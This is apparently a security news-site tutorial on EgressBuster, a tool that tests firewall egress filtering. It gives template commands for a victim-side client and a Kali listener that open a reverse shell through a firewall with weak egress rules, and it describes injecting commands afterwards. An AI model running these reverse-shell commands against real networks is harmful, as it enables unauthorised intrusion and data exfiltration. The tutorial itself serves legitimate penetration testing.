Sunday, February 9, 2025
HomeExploitation ToolsEgressBuster - A Pentesting Tool to Compromise Victim via Command &...

EgressBuster – A Pentesting Tool to Compromise Victim via Command & Control using Firewall

Published on

SIEM as a Service

Follow Us on Google News

Network Firewalls acts as a fortification to keep the internal corporate network secure. Many people often think as it is protecting a device from incoming traffic. Most outbound connections are insecure without egress traffic filtering.

If Egress Traffic Filtering failed then attackers bypass the firewall to command and control the external network

Egress filters out traffic leaving your network and restricts your internal users from getting off of your network and going anywhere they would like(Different Network). So, egress traffic filtering help in mitigating data exfiltration from your networked assets.

While performing the penetration test, companies do special exceptions to ports to prevent access to the outside Internet. So Egressbuster will test the effectiveness of egress filtering in an environment. Download EgressBuster Here.

Let’s see how to work with EgressBuster to bypass Firewall and how we should Get Shell.

Also Read Net Creds-Sniff out the Username and Password of Users in your Network

Victim Machine (Windows 10):

  • Run and execute a command: egressbuster.exe <External Attackers Listening Ip> <Range of ports> shell
  • Now It will be sending TCP packets on each and every port originating from inside the firewall to externally facing server listening ports.
  • The external facing server is the Kali Linux attackers machine.

Note: If the corporate network is secured with Firewall Best practices on Egress Traffic Filtering it should not allow access to the external network. If Egress Traffic Filtering failed It permits command and control to the external network.

Attackers Machine(Kali Linux):

  • Listener outside the network uses iptables to listen on all 65k ports for a connection.
Bypass Firewall
  • Execute the command: ./egress_listener.py <Kali Linux Ip or Attackers Ip> <Select Interface> <Victims Ip> shell
  • Once the Victims Internal network is not effective in egress filtering. Here we should Get Shell!

Obtained Victims Machine – Bypass Firewall

  • The victims network opened with port 1090/tcp and forwarded to the external network due to a lack of egress filtering.
  • Connection established successfully to a shell, let us inject commands.
  • Now the attacker can perform all attacks on the internal network.

Attackers can use these techniques to collect and forward sensitive information from your network or to attack or spam other networks.Test the effectiveness of egress filtering in your network with EgressBuster. Happy Hacking !!!

Disclaimer

This article is only for Educational purposes. Any actions and or activities related to the material contained within this Website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. The authors and www.gbhackers.com will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

You can follow us on LinkedinTwitter, and Facebook for daily Cybersecurity updates also you can take the Best Cybersecurity course online to keep yourself updated.

Latest articles

UK Pressures Apple to Create Global Backdoor To Spy on Encrypted iCloud Access

United Kingdom has reportedly ordered Apple to create a backdoor allowing access to all...

Autonomous LLMs Reshaping Pen Testing: Real-World AD Breaches and the Future of Cybersecurity

Large Language Models (LLMs) are transforming penetration testing (pen testing), leveraging their advanced reasoning...

Securing GAI-Driven Semantic Communications: A Novel Defense Against Backdoor Attacks

Semantic communication systems, powered by Generative AI (GAI), are transforming the way information is...

Cybercriminals Target IIS Servers to Spread BadIIS Malware

A recent wave of cyberattacks has revealed the exploitation of Microsoft Internet Information Services...

Supply Chain Attack Prevention

Free Webinar - Supply Chain Attack Prevention

Recent attacks like Polyfill[.]io show how compromised third-party components become backdoors for hackers. PCI DSS 4.0’s Requirement 6.4.3 mandates stricter browser script controls, while Requirement 12.8 focuses on securing third-party providers.

Join Vivekanand Gopalan (VP of Products – Indusface) and Phani Deepak Akella (VP of Marketing – Indusface) as they break down these compliance requirements and share strategies to protect your applications from supply chain attacks.

Discussion points

Meeting PCI DSS 4.0 mandates.
Blocking malicious components and unauthorized JavaScript execution.
PIdentifying attack surfaces from third-party dependencies.
Preventing man-in-the-browser attacks with proactive monitoring.

More like this

Windows 11 BitLocker Bypassed to Extract Encryption Keys

An attacker with physical access can abruptly restart the device and dump RAM, as...

ConvoC2 – A Red Teamers Tool To Execute Commands on Hacked Hosts Via Microsoft Teams

A stealthy Command-and-Control (C2) infrastructure Red Team tool named ConvoC2 showcases how cyber attackers...

Cloudflare Developer Domains Abused For Cyber Attacks

Cloudflare Pages, a popular web deployment platform, is exploited by threat actors to host...